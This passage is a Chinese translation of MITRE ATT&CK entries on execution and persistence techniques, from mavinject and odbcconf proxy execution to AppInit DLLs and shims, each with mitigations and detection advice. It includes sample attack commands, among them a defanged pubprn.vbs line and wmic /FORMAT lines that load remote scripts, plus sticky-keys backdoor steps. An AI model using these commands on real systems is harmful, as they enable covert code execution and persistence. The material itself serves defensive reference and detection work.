Mavinject.exe 是可运行代码执行的 windows 工具，mavinject 可用来给正在运行的进程输入 DLL 文件

- `"C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe" <PID> /INJECTRUNNING <PATH DLL>`
- `C:\Windows\system32\mavinject.exe <PID> /INJECTRUNNING <PATH DLL>`

### SyncAppvPublishingServer.exe

SyncAppvPublishingServer.exe 可用来执行 PowerShell 脚本，而无需执行 powershell.exe

### Odbcconf.exe

Odbcconf.exe 可允许用来配置开放数据库连接（ODBC）驱动和数据源名称的 Windows 工具。类似于执行带有 REGSVR 选项的 Regsvr32 执行 DLL，这项工具也可滥用与执行功能

- `odbcconf.exe /S /A {REGSVR "C:\Users\Public\file.dll"}`

还有其它工具也可执行类似行为

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 执行预防 | 一些签名的二进制软件可用于执行其它在特定环境中并不需要的程序。如果这些二进制文件对于特定系统或者网络并不需要，可使用配置应用白名单机制来阻止这些二进制文件执行，从而阻止攻击者的可能滥用行为 |
| 特权账号管理 | 如果用户需要这些二进制文件，可通过特权账号或者组来限制执行，从而减少恶意使用的可能性。 |

### 检测

监控进程和签名的二进制文件的命令行参数，这些可能会用来代理恶意文件执行。利用合法程序执行可疑行为，如：通过 msiexec.exe 从因特网下钻 MSI 文件，可能是一种入侵指标。考虑到可能的用户和管理员的正常行为使用，可通过关联其它可疑活动来减少误报

## 2.24 签名脚本代理执行

编号：T1216

技术：防御逃逸，执行

平台：Windows

所需权限：用户

数据源：进程监控，进程命令行参数

是否支持远程：否

绕过的防御：进程白名单，数字证书验证

贡献者：Praetorian

版本：1.0

使用可信证书签名的脚本可用于代理执行恶意文件。此行为可能会绕过签名验证限制和不考虑使用这些脚本的应用白名单解决方案。

PubPrn.vbs 由微软签名，可用于从远程站点代理执行。命令举例：`cscript C[:]\Windows\System32\Printing_Admin_Scripts\en-US\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png`

还有其他一些签名脚本可以类似的方式使用。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 执行预防 | 在给定的环境中，可能不需要某些用于执行其他程序的签名脚本。如果给定的系统或网络不需要这些脚本，则使用应用白名单（用于阻止脚本执行）来防止攻击者滥用它们。 |

检测

监控脚本进程（如 cscript）和脚本（如 pubprn.vbs）命令行参数，这些脚本可能用于代理执行恶意文件。

## 2.25 Source 命令

编号: T1153

技术： 执行

平台： Linux, macOS

所需权限： 用户

数据源： 进程监控，文件监控，进程命令行参数

支持远程：否

版本： 1.0

`source` 命令在当前 shell 中装载函数或者在当前上下文中执行文件。这个内置命令可通过两种不同方式允许，`source /path/to/filename [arguments]`或者`. /path/to/filename [arguments]`，注意”.”后面的空格。如果没有空格，会创建新的 shell 来运行程序，而不是在当前上下文中运行程序。这通常用于确保一些特性或者功能对 shell 有效或者更新某个具体的 shell 环境。

攻击者会滥用这个功能来执行程序。使用这种技术执行文件无需提前设置可执行标记。

### 缓解

因为基于滥用系统特性，这类攻击技术很难通过预防控制措施进行缓解。

### 检测

监控 source shell 命令执行以及通过 source 命令执行启动的后续进程。为了让 source 执行调用，攻击者肯定会在磁盘上写入文件，这些文件可通过文件监控检测出来。

## 2.26 文件名后加空格

编号: T1151

技术： 防御逃逸，执行

平台： Linux, macOS

所需权限： 用户

数据源： 文件监控，进程监控

贡献者：Erye Hernandez, Palo Alto Networks

版本： 1.0

攻击者通过改变文件后缀来隐藏程序真实的文件类型。某些文件类型（尤其是不适用.app 结尾），在文件名尾部增加空格会改变操作系统如何处理。例如，假设有个名为 evil.bin 的 Mach-O 可执行文件，当用户双击时，会启动 Terminal.app 来执行。如果这个文件被重命名成 evil.txt，这时当用户双击时，变会启动默认的文本编辑程序（不是运行二进制文件）。但如果文件命名成”evil.txt ”（注意尾部空格），此时用户双击程序，OS 会检测真实的文件类型，合理地处置，然后执行二进制文件。

攻击者使用这个特性来诱骗用户双击看似没有任何格式问题的文件，最终执行了某些恶意行为

### 缓解

因为基于滥用系统特性，这类攻击技术很难通过预防控制措施进行缓解。

### 检测

文件末尾通常不包含空格，因此很容易通过文件监控检查出来。但从用户的角度来看，在 Finder.app 或者 Terminal.app 命令行里很难观察出来。包含非标准后缀的二进制文件启动的进程通常是可疑的。

## 2.27 第三方软件

编号：T1072

技术：执行，横向移动

平台：Linux，macOS，Windows

所需权限：用户，管理员，系统

数据源：文件监控，第三方应用日志，Windows 注册表，进程监控，网络进程使用，二进制文件元数据

是否支持远程：是

版本：1.0

第三方应用和软件部署系统可在网络环境中用于管理目的（例如，SCCM，VNC，HBSS，Altiris 等）。如果攻击者获得这些系统的访问权限，那么他们就可以执行代码。

攻击者可能会访问并使用安装在企业网络的第三方应用部署系统。通过访问网络范围或企业范围的软件部署系统，攻击者可以在连接到软件部署系统的所有其它系统上执行远程代码。访问可用于横向移动到系统、收集信息或引起特定效果，例如擦除所有端点上的硬盘驱动器。

此操作所需的权限因系统配置而异；本地凭据可能足以直接访问部署服务器，或者可能需要特定的域凭据。但是，系统可能需要管理账号才能登录或执行软件部署。

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 活动目录配置 | 在关键网络系统使用组策略来确保系统和访问准确隔离。 |
| 多因子认证 | 在关键网络系统使用多因子认证来确保系统和访问准确隔离。 |
| 网络分区 | 在关键网络系统使用防火墙来确保系统准确隔离。 |
| 密码策略 | 验证用于访问部署系统的账号凭据。确保其唯一性并且不会用于整个企业网络。 |
| 特权账号管理 | 仅向有限数量的授权的管理员授予应用部署系统的访问权限。 |
| 远程数据存储 | 如果可以将应用部署系统配置为仅部署已签名的二进制文件，请确保受信任的签名证书与应用部署系统位于不同位置，受信任的签名证书位于无法远程访问或远程访问控制很严格的系统上。 |

| | |
|---|---|
| 软件更新 | 定期给部署系统打补丁，防止攻击者利用权限升级进行远程访问。 |
| 用户账号管理 | 确保第三方提供商用于访问这些系统的任何账号都可以追溯到第三方，并且不会在整个网络中使用，也不会在同一环境中被其他第三方提供商使用。确保定期审查为这些系统配置的账号以保证持续的业务需求，并确保有措施来跟踪不再需要的访问的取消。 |
| 用户培训 | 对部署系统的使用有严格的审批策略。 |

### 检测

检测方法因第三方软件或系统的类型以及它通常的使用方式而异。

与对待其他潜在的恶意活动（最初不知道分发媒介，但最终活动遵循可识别的模式）一样，这里也可以应用相同的调查过程。分析流程执行树、来自第三方应用的历史活动（例如通常推送哪些类型的文件）以及推送到系统的文件/二进制/脚本引发的活动或事件。

通常，这些第三方应用都有自己的日志，可以收集这些日志并与环境中的其他数据关联。

审核软件部署日志并查找可疑或未经授权的活动。一个通常不用于将软件推送到客户端的系统突然被用于已知管理功能之外的此类任务可能是可疑的。

定期执行应用部署，那么不定期的部署活动就会凸显出来。监控与已知良好软件不相关的过程活动。监控部署系统上的账号登录活动。

## 2.28 Trap 命令

编号: T1154

技术：执行，持久化

平台： Linux, macOS

所需权限： 用户，管理员

数据源： 文件监控，进程监控，进程命令行参数

远程支持：No

版本： 1.0

`trap` 命令允许程序和 shell 脚本指定在接收到中断信号时将执行的命令。一种常见的情况是脚本允许正常终止和处理常见的键盘中断，如 `ctrl+c` 和 `ctrl+d`。攻击者可以使用它来注册当 shell 遇到特定中断以执行或作为持久性机制时要执行的代码。trap 命令的格式如下：`trap 'command list' signals`，在接收到“signals”时执行“command list”。

### 缓解

这种类型的攻击技术无法简单地通过预防性控制缓解，因为它基于系统特性的滥用。

### 检测

trap 命令必须注册成为 shell 脚本或者程序，所以他们都出现在文件中。监听可疑的或过于宽泛的 trap 命令文件可以缩小调查期间的可疑行为。监听在 trap 中继中执行的可疑进程。

## 2.29 可信的开发工具

编号：T1127

技术：防御逃逸，执行

平台：Windows

系统要求：MSBuild：.NET Framework 4 或更高版本；DNX：.NET 4.5.2，PowerShell 4.0；RCSI：.NET 4.5 或更高版本，Visual Studio 2012

所需权限：用户

数据源：进程监控

是否支持远程：否

绕过的防御：应用白名单

贡献者：Casey Smith；Matthew Demaske，Adaptforward

版本：1.0

许多软件开发相关的实用程序可用于执行各种形式的代码以协助开发、调试和逆向工程。这些实用程序通常可以使用合法证书进行签名。签名后，它们就可以在系统上执行，并通过可信的进程代理执行恶意代码，从而有效地绕过应用白名单防御解决方案。

### MSBuild

MSBuild.exe（Microsoft Build Engine）是 Visual Studio 使用的软件构建平台。它采用 XML 格式的项目文件，定义了各种平台的构建要求和配置。

攻击者可能会使用 MSBuild 通过受信任的 Windows 实用程序来代理执行代码。.NET 4 中引入的 MSBuild 内联任务功能允许将 C＃代码插入到 XML 项目文件中。内联任务 MSBuild 将编译并执行内联任务。MSBuild.exe 是一个签名的微软二进制文件，因此当它以这种方式使用时，它可以执行任意代码并绕过配置为允许 MSBuild.exe 执行的应用白名单防御。

### DNX

.NET 执行环境（DNX）dnx.exe 是随 Visual Studio Enterprise 打包的软件开发工具包。它在 2016 年退役，转而支持.NET Core CLI。标准版本的 Windows 上不存在 DNX，它可能仅存在于使用旧版本.NET Core 和 ASP.NET Core 1.0 的开发人员工作站上。dnx.exe 可执行文件由微软签名。

攻击者可能会使用 dnx.exe 来代理执行任意代码，绕过不考虑 DNX 的应用白名单策略。

### RCSI

rcsi.exe 实用程序是 C # 的非交互式命令行界面，类似于 csi.exe。它出现在早期某版本的 Roslyn .NET 编译器平台，但自那以后就因集成解决方案而被弃用。rcsi.exe 二进制文件由微软签名。

可以在命令行使用 rcsi.exe 编写和执行 C# .csx 脚本文件。攻击者可能会使用 rcsi.exe 来代理执行任意代码，绕过不考虑执行 rcsi.exe 的应用白名单策略。

### WinDbg/CDB

WinDbg 是微软 Windows 内核和用户模式调试实用程序。微软控制台调试程序（CDB）cdb.exe 也是用户模式调试程序。 这两个实用程序都包含在 Windows 软件开发工具包中，可以作为独立工具使用。它们通常用于软件开发和逆向工程，在典型的 Windows 系统上可能找不到。WinDbg.exe 和 cdb.exe 二进制文件都由微软签名。

攻击者可能会使用 WinDbg.exe 和 cdb.exe 来代理执行任意代码，绕过不考虑执行这些实用程序的应用白名单策略。

很可能出于类似的目的使用其他调试程序，例如内核模式调试器 kd.exe，它也由微软签名。

### Tracker

文件跟踪器实用程序 tracker.exe 作为 MSBuild 的一部分包含在.NET 框架中。它用于记录 Windows 文件系统的调用日志。

攻击者可以使用 tracker.exe 来代理执行任意动态链接库到另一个进程中。由于 tracker.exe 也已签名，因此可用于绕过应用白名单解决方案。

### 缓解

| **缓解措施** | **说明** |
| --- | --- |
| 特性/程序禁用或移除 | 在给定环境中可能不需要 MSBuild.exe，dnx.exe，rcsi.exe，WinDbg.exe，cdb.exe 和 tracker.exe。如果不需要，应将其删除。 |
| 执行预防 | 如果给定系统或网络不需要 MSBuild.exe，dnx.exe，rcsi.exe，WinDbg.exe 和 cdb.exe，则使用应用白名单（用于阻止这些程序的执行）来防止攻击者滥用它们。 |

### 检测

在非用于开发、调试和逆向工程的系统上出现通常用于开发、调试和逆向工程的且已开通代理执行功能的实用程序可能是可疑的。

通过进程监控来检测和分析 MSBuild.exe，dnx.exe，rcsi.exe，WinDbg.exe，cdb.exe 和 tracker.exe 的执行和参数。将这些实用程序的最近调用与已知恰当参数及已执行二进制文件的历史记录进行比较来查看是否有异常和潜藏的攻击活动。这些实用程序很可能会被软件开

发人员使用或用于其他与软件开发相关的任务。因此，如果监控到这些程序而且该程序在所提情境之外使用，那么这个事件是可疑的。在实用程序调用之前和之后使用的命令参数也可用于确定正在执行的二进制文件的来源和目的。

# 2.30 用户执行

编号: T1204

技术： 执行

平台： Linux, Windows, macOS

所需权限： 用户

数据源： 杀毒软件，进程命令行参数，进程监控

版本： 1.0

攻击者可以依靠用户的特定动作来获得执行。这可能是直接的代码执行，例如当用户打开一个恶意可执行文件时，该文件通过钓鱼攻击附件传递，带有图标和明显的扩展名。它还可能导致其他执行技术，例如当用户点击钓鱼攻击链接时，会导致通过客户端执行利用技术来利用浏览器或应用程序漏洞。虽然用户执行经常发生在初始访问之后不久，但也可能发生在入侵的其他阶段，比如攻击者会将文件放在共享目录或用户桌面上，希望有用户会点击它。

## 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 执行预防 | 应用程序白名单可以阻止运行伪装的可执行文件 |
| 网络入侵防范 | 如果用户正在访问某个链接，则可以使用网络入侵防范系统和旨在扫描和删除恶意下载的系统来阻止活动 |
| 限制基于 Web 的内容 | 如果用户正在访问某个链接，默认或者根据策略从可疑站点阻止未知或未使用的文件下载，这是防止.scr, .exe, .pif, .cpl 等载体的最佳实践。 |
| 用户培训 | 用户培训可以提升用户关于常见网络钓鱼技术的意识，以及提高对潜在恶意事件的警惕。 |

## 检测

有些应用程序能够被攻击者利用用户交互来获取初始访问，监听这些应用程序的执行和命令行参数。这包括压缩应用程序，这样可以清除/解码有效载荷中的文件或信息，比如打包成 zip 文件。

杀毒软件可能检测到用户计算机上下载和执行的恶意文档和文件。当客户端利用执行或者脚本编程技术的文件被打开时，终端检测或者网络检测可能检测出其中的恶意事件（如 Microsoft Word 文档或 PDF 访问网络或生成 powershell.exe）。

# 2.31 Windows 管理指令集

编号：T1047

技术：执行

平台：Windows

系统要求：WMI 服务，winmgmt，正在运行；主机/网络防火墙允许从源头到目标的 SMB 和 WMI 端口；SMB 认证

所需权限：用户，管理员

数据源：认证日志，Netflow/Enclave 技术网络流分析，进程监控，进程命令行参数

是否支持远程：是

版本：1.0

WMI（Windows Management Instrumentation）是 Windows 管理功能，它为本地和远程访问 windows 系统组件提供了统一的环境。它依赖 WMI 服务来进行本地和远程访问，以及 SMB（服务器消息块）和 RPCS（远程过程调用服务）来进行远程访问。RPCS 通过端口 135 运行。

攻击者可能会使用 WMI 与本地和远程系统交互，也可能使用 WMI 来将执行许多策略功能，例如为发现收集信息和远程执行文件来横向移动。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 特权账号管理 | 防止系统之间管理员和特权账号的凭据重叠。 |
| 用户账号管理 | 默认情况下，只允许管理员使用 WMI 远程连接。限制允许连接的其他用户，或禁止所有用户远程连接到 WMI。 |

检测

监控 WMI 连接的网络流量；在通常不使用 WMI 的环境中使用 WMI 可能是可疑的。通过进程监控来捕获“wmic”的命令行参数并检测用于执行远程行为的命令。

# 2.32 Windows 远程管理

编号：T1028

技术：执行，横向移动

平台：Windows

系统要求：在远程系统上打开并配置 WinRM 侦听器

所需权限：用户，管理员

数据源：文件监控，认证日志，Netflow/Enclave 技术网络流分析，进程监控，进程命令行参数

是否支持远程：是

版本：1.0

WinRM（Windows Remote Management）是 Windows 服务名，也是允许用户与远程系统交互的协议名称（例如，运行可执行文件，修改注册表，修改服务）。可以使用 winrm 命令或任何数量的程序（如 PowerShell）来调用 WinRM。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 特性/程序禁用或移除 | 禁用 WinRM 服务。 |
| 网络分区 | 如果需要该服务，请使用单独的 WinRM 基础架构锁定关键飞地，并遵循使用主机防火墙的 WinRM 最佳实践来限制 WinRM 访问，仅允许与特定设备进行通信。 |
| 特权账号管理 | 如果需要该服务，请使用单独的 WinRM 账号和权限锁定关键飞地。 |

检测

通过跟踪服务执行来监控环境中 WinRM 的使用。非正常使用或禁用 WinRM 可能表示有可疑行为。监控 WinRM 进程或 WinRM 调用脚本创建的进程和执行的操作，将其与其他相关事件关联。

# 2.33 XSL 脚本处理

编号: T1220

技术： 防御逃逸，执行

平台： Windows

系统要求： 微软核心 XML 服务（MSXML）或访问 wmic.exe

所需权限： 用户

数据源： 进程监控，进程命令行参数，进程使用网络，动态链接库监控

远程支持：否

绕过防御：杀毒软件，应用程序白名单，数字证书验证

贡献者：Casey Smith; Praetorian

| 版本： 1.0 |
| --- |

扩展样式表语言（xsl）文件通常用于描述 xml 文件中数据的处理和呈现。为了支持复杂的操作，xsl 标准包括对各种语言的嵌入式脚本的支持。

攻击者可能会滥用此功能来执行任意文件，同时可能绕过应用程序白名单防御。与可信的开发工具类似，微软公用线转换工具（msxsl.exe）可以安装并用于执行嵌入在本地或远程（引用 URL）xsl 文件中的恶意 JavaScript 代码。由于默认情况下未安装 msxsl.exe，因此攻击者可能需要使用丢弃文件对其进行打包。

命令行示例：

- `msxsl.exe customers[.]xml script[.]xsl`

这种技术的另一种变体称为“Squiblytwo”，它使用 windows 管理工具在 xsl 文件中调用 JScript 或 VBScript。这项技术与 Regsvr32/ “squiblydoo” 类似，也通过一个可信的内置 windows 工具执行本地/远程脚本。

命令行示例：

- Local File:`wmic proc`
- `ess list /FORMAT:evil[.]xsl`
- Remote File:`wmic os get /FORMAT:"https[:]//example[.]com/evil[.]xsl"`

命令行示例：

- 本地文件：`wmic process list /FORMAT:evil[.]xsl`
- 远程文件：`wmic os get /FORMAT:"https[:]//example[.]com/evil[.]xsl"`

## 缓解方法

| 缓解措施 | 说明 |
| --- | --- |
| 执行预防 | 如果不需要 msxsl.exe，则阻止其执行以防止攻击者滥用。 |

## 检测

使用监听线程来监听 msxsl.exe 和 wmic.exe 的执行和参数。将这些工具的最近调用与先前历史已知的正确参数以及加载文件进行比较，以确定异常和潜在的攻击活动（例如：URL 命令行参数、创建外部网络连接、加载与脚本相关的 dll）。在脚本调用之前和之后使用的命令参数在确定加载的荷载来源和用途时也可能有用。

在不是通常用于开发、调试和反向代理的系统上，msxsl.exe 或其他启用代理执行工具的存在可能是可疑的。

# 3. 持久化

## 3.1 bashrc

编号：T1156

技术：持久化

平台：Linux，macOS

所需权限：用户，管理员

数据源：文件监控，进程监控，进程命令行参数，网络进程使用

版本：1.0

当新 shell 打开或用户登录时，`~/.bash_profile` 和`~/.bashrc` 在用户上下文中执行来正确设置其环境。对登录 shell 执行 `~/.bash_profile`，对交互式非登录 shell 执行`~/.bashrc` 。这意味着当用户（通过用户名和密码）登录到控制台（本地登录或通过 SSH 等远程登录）时，会在初始命令提示返回给用户之前执行`~/.bash_profile` 。 之后，每次打开一个新 shell 时，都会执行`~/.bashrc`。这允许用户更精细地控制何时执行某些命令。

Mac 的 Terminal.app 有点不同：它在每次打开新的终端窗口时默认运行一个登录 shell，因此每次都调用 `~/.bash_profile` 而不是 `~/.bashrc`。

这些文件是由本地用户编写的，用于配置他们自己的环境；但是，每次用户登录或打开新 shell 时，攻击者可能会在这些文件中插入代码以获得持久性。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 文件和目录权限限制 | 使这些文件不可更改且仅由某些管理员更改，限制攻击者轻松创建用户级持久化的能力。 |

检测

虽然用户可以自定义他们的~/.bashrc 和~/.bash_profile 文件，但这些文件中通常只显示某些类型的命令。在登录过程中加载用户配置文件时，监控异常命令，例如：执行未知程序，打开网络套接字或跨网断访问。

# 3.2 辅助功能

编号：T1015

技术：持久化，权限升级

平台：Windows

所需权限：管理员

有效权限：系统

数据源：Windows 注册表，文件监控，进程监控

CAPEC 编号：CAPEC-558

贡献者：Paul Speulstra，AECOM Global Security Operations Center

版本：1.0

Windows 包含用户登录之前（例如，当用户在 Windows 登录屏幕上时）可用组合键启动的辅助功能。攻击者可能会修改这些程序的启动方式，以便在不登录系统的情况下获得命令提示符或后门。

两个常见的辅助功能程序是 `C:\Windows\System32\sethc.exe`（按下 shift 键五次后启动）和 `C:\Windows\System32\utilman.exe`（按下 Windows+U 组合键时启动）。sethc.exe 程序通常被称为“粘滞键”，已被攻击者用来通过远程桌面登录屏幕进行不经认证的访问。

由于代码完整性增强，攻击者可能会以不同的方式利用这些功能，具体取决于 Windows 的版本。在较新版本的 Windows 中，替换的二进制文件需要为 x64 系统进行数字签名，二进制文件必须位于`%systemdir%\`，并且必须受 WFP/WRP（Windows File or Resource Protection）的保护。攻击者很可能使用调试器方法来规避这些问题，因为它不需要替换相应的辅助功能二进制文件。以下是两种方法的示例：

示例 1：Windows XP 和更高版本以及 Windows Server 2003/R2 和更高版本上的简单二进制替换方法。可以替换程序（比如：`C:\Windows\System32\utilman.exe`）为“cmd.exe”（或其他提供后门访问的程序）。随后，如果你使用键盘或已通过远程桌面协议连接，在登录屏幕上按相应的组合键将导致以系统权限执行替换文件。

示例 2：Windows Vista 和更高版本以及 Windows Server 2008 和更高版本的调试器方法。可以修改注册表项，配置“cmd.exe”或其他提供后门访问的程序作为辅助功能程序（比如：utilman.exe）的“调试器”。修改注册表后，如果你使用键盘或已通过 RDP 连接，在登录屏幕上按相应的组合键将导致以系统权限执行“调试器”程序。

其他辅助功能也可以以类似的方式利用：

- On-Screen Keyboard: `C:\Windows\System32\osk.exe`
- Magnifier: `C:\Windows\System32\Magnify.exe`
- Narrator: `C:\Windows\System32\Narrator.exe`
- Display Switcher: `C:\Windows\System32\DisplaySwitch.exe`
- App Switcher: `C:\Windows\System32\AtBroker.exe`

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 执行预防 | 攻击者可能会使用备用二进制文件替换辅助功能二进制文件来执行此技术。使用应用白名单工具（如 Windows Defender Application Control，AppLocker 或软件限制策略）来识别并阻止通过辅助功能执行的潜在恶意软件。 |
| 网络资源访问限制 | 如果可能，请使用远程桌面网关来管理网络中 RDP 的连接和安全配置。 |
| 操作系统配置 | 要远程使用此技术，攻击者必须将其与 RDP 结合使用。确保已启用网络级身份认证，以便在创建会话并显示登录屏幕之前强制远程桌面会话进行身份认证。在 Windows Vista 及更高版本上默认启用此认证。 |

### 检测

修改可用性实用程序二进制文件或修改与已知软件、补丁周期等不相关的二进制路径是可疑的。

通过命令行调用能够修改注册表以获取相关密钥的工具也是可疑的。应监控实用程序参数和二进制文件本身的修改。监控 `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options` 中的注册表项。

## 3.3 账号操纵

编号：T1098

技术：凭据访问，持久化

平台：Windows

所需权限：管理员

数据源：认证日志，API 监控，Windows 事件日志，网络抓包

贡献者：Tim MalcomVetter

版本：1.0

攻击者可能会通过操纵账号在环境中维持对凭据的访问以及某些权限级别。账号操纵可以包括修改权限，修改凭据，添加或更改权限组，修改账号设置或修改身份认证的执行方式。这些操作还可以包括旨在破坏安全策略的账号活动，例如执行迭代密码更新以破坏密码时长策略并保留所盗凭据的生命周期。攻击者必须拥有对系统或域的足够权限才能创建或操纵账号。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 多因子认证 | 对用户和特权账号使用多因子认证。 |
| 网络分区 | 配置访问控制和防火墙来限制对关键系统和域控制器的访问。 |
| 操作系统配置 | 通过确保关键服务器的适当安全配置来保护域控制器，从而限制使用可能不必要的协议和服务（如 SMB 文件共享）进行访问。 |
| 特权账号管理 | 不允许将域管理员账号用于日常操作，因为这些操作可能会将域管理员账号暴露给非特权系统上的潜在攻击者。 |

检测

收集系统和域中账号对象修改相关的事件，例如事件 4738。监控与其他可疑活动相关的账号修改。修改可能发生在不寻常的时间或来自不寻常的系统。特别是主题和目标账号不同的标记事件或包含其它多余标记的事件，例如在不知道旧密码的情况下更改密码。

凭据也可能在不寻常的时间使用或在不寻常的系统或服务使用，并可能与其他可疑活动有关。

# 3.4 AppCert DLL

编号：T1182

技术：持久化，权限升级

平台：Windows

所需权限：管理员，系统

有效权限：管理员，系统

数据源：已加载动态链接库，进程监控，Windows 注册表

版本：1.0

在注册表项 `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager` 的 AppCertDLLs 值中指定的动态链接库被加载到调用以下常用 API 函数的每个进程中：

CreateProcess，CreateProcessAsUser，CreateProcessWithLoginW ，CreateProcessWithTokenW，和 WinExec。

与进程注入类似，攻击者可能会滥用此值在计算机单独进程的上下文中加载和运行恶意动态库，从而获得持久性和权限提升。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 执行预防 | 攻击者会安装新的 AppCertDLL 二进制文件来执行此技术。使用应用白名单工具（如 Windows Defender Application Control，AppLocker 或软件限制策略）来识别并阻止通过 AppCertDLL 功能执行的潜在恶意软件。 |

检测

监控进程加载的动态链接库，尤其是要查找未识别的或未正常加载到进程的动态链接库。

监控 AppCertDLLs 注册表值来查看是否有与已知软件、补丁周期等无关的修改。监控和分析表示编辑了注册表的 API 调用，如 RegCreateKeyEx 和 RegSetValueEx。

Sysinternals Autoruns 等工具可能会忽视 AppCert 动态链接库为自动启动位置。

查找可能由加载恶意动态链接库的进程导致的异常行为。不应孤立地看待数据和事件，而应将其视为可能导致其他活动的一系列行为中的一部分，例如为命令与控制而建立网络连接，通过发现了解环境的详细信息，以及横向移动。

# 3.5 AppInit DLL

编号：T1103

技术：持久化，权限升级

平台：Windows

系统要求：在运行 Windows 8 及更高版本的系统上禁用 secure boot

所需权限：管理员

有效权限：管理员，系统

数据源：已加载动态链接库，进程监控，Windows 注册表

版本：1.0

在注册表项 `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows` 或 `HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows` 的 AppInit_DLLs 值中指定的动态链接库被加载到每个加载 user32.dll 的进程。实际上这几乎是加载到每个程序，因为 user32.dll 是一个非常常见的库。

与进程注入类似，攻击者可能会滥用此值在计算机单独进程的上下文中加载和运行恶意动态库，从而获得持久性和权限提升。

在 Windows 8 及更高版本中，如果启用了 secure boot，那么将禁用 AppInit 动态链接库功能。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 执行预防 | 攻击者可能会安装新的 AppInit_DLLs 二进制文件来执行此技术。使用应用白名单工具（如 Windows Defender Application Control，AppLocker 或软件限制策略）来识别并阻止通过 AppInit_DLLs 功能执行的潜在恶意软件。 |
| 软件升级 | 升级到 Windows 8 或更高版本并启用 secure boot。 |

检测

监控加载了 user32.dll 的进程加载的动态链接库来查看是否有未识别的或非正常加载到进程的动态链接库。监控 AppInit_DLLs 注册表值来查看是否有与已知软件、补丁周期等无关的修改。监控和分析表示标记了注册表的 API 调用，如 RegCreateKeyEx 和 RegSetValueEx。也可使用 Sysinternals Autoruns 等工具来检测是否有旨在获得持久性的系统更改，包括列出当前的 AppInit 动态链接库。

查找可能由加载恶意动态链接库的进程导致的异常行为。不应孤立地看待数据和事件，而应将其视为可能导致其他活动的一系列行为中的一部分，例如为命令与控制而建立网络连接，通过发现了解环境的详细信息，以及横向移动。

# 3.6 应用兼容转接

编号：T1138

技术：持久化，权限升级

平台：Windows

所需权限：管理员

数据源：已加载动态链接库，系统调用，Windows 注册表，进程监控，进程命令行参数

版本：1.0

创建微软 Windows 应用兼容性基础结构/框架（应用兼容转接）是为了在操作系统代码库随时间变化时允许软件向后兼容。例如，应用兼容转接功能允许开发人员修改他们为 Windows XP 创建的应用（不需重写代码），以使这些应用也能在 Windows 10 上使用。在此框架内，程序（或者更具体地说，导入地址表）和 Windows 操作系统之间创建了 “垫片”，类似于 “缓冲区”，用于实现兼容转接功能。执行程序时，会查询此缓冲区以确定程序是否需要使

用 shim 数据库（.sdb）。如果需要，shim 数据库必要时会使用 hooking 来重定向代码，从而与操作系统通信。

当前由 Windows 默认安装程序（sdbinst.exe）安装的所有垫片的列表保存在以下路径：

- `%WINDIR%\AppPatch\sysmain.sdb`
- `hklm\software\microsoft\windows nt\currentversion\appcompatflags\installedsdb`

自定义数据库存储在以下路径：

- `%WINDIR%\AppPatch\custom & %WINDIR%\AppPatch\AppPatch64\Custom`
- `hklm\software\microsoft\windows nt\currentversion\appcompatflags\custom`

为了确保垫片的安全，Windows 将它们设计为在用户模式下运行，这样它们就无法修改内核，而且您必须具有管理员权限才能安装它们。但是，某些垫片可用于绕过 UAC（用户账号控制）（RedirectEXE）、将动态链接库注入到进程（InjectDLL）、禁用数据执行保护（DisableNX）和结构异常处理（(DisableSEH）以及拦截内存地址（GetProcAddress）。与 Hooking 类似，这些垫片可能允许攻击者执行多种恶意行为，如提升权限、安装后门、禁用 Windows Defender 等防御措施。

缓解

| **缓解措施** | **说明** |
| --- | --- |
| 软件升级 | 微软发布了一个可选的补丁更新 - KB3045645 - 它将删除 sdbinst.exe 中的“auto-elevate”标志。这样可以防止攻击者使用应用兼容转接技术来绕过 UAC。 |
| 用户账号控制 | 将 UAC 设置更改为“始终通知”将在请求 UAC 提升时为用户提供更多可见性。但是，由于 UAC 不断中断，此选项在用户中不受欢迎。 |

检测

以下公共工具可用来检测当前可用的垫片：

- Shim-Process-Scanner - 检查每个运行中进程的内存是否有任何 Shim 标志
- Shim-Detector-Lite - 检测自定义 shim 数据库的安装
- Shim-Guard - 监控注册表来查看垫片安装
- ShimScanner - 取证工具，用于在内存中查找活动的垫片
- ShimCacheMem - Volatility 插件，用于从内存中提取垫片缓存（注意：只在重启后缓存垫片）

监控 sdbinst.exe 进程执行和命令行参数来查看是否有应用垫片滥用的情况。

# 3.7 身份认证包

编号：T1131

技术：持久化

平台：Windows

所需权限：管理员

数据源：动态链接库监控，Windows 注册表，已加载动态链接库

版本：1.0

Windows 身份认证包动态链接库在系统启动时由 LSA（本地安全机构）进程加载。它们为操作系统的多个登录过程和多个安全协议提供支持。

攻击者可能会使用 LSA 身份认证包提供的自动启动机制来实现持久性，方法是在 Windows 注册表位置 `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\`放置二进制文件的引用，其键值为`"Authentication Packages"=`。 然后，在加载身份认证包时，系统将执行二进制文件。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 特权进程完整性 | 在 Windows 8.1、Windows Server 2012 R2 和更高版本中，可以通过设置注册表项 `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL` 使 LSA 作为 PPL（受保护进程指示灯）运行。前提是 LSA 加载的所有动态链接库都是由微软签名的。 |

检测

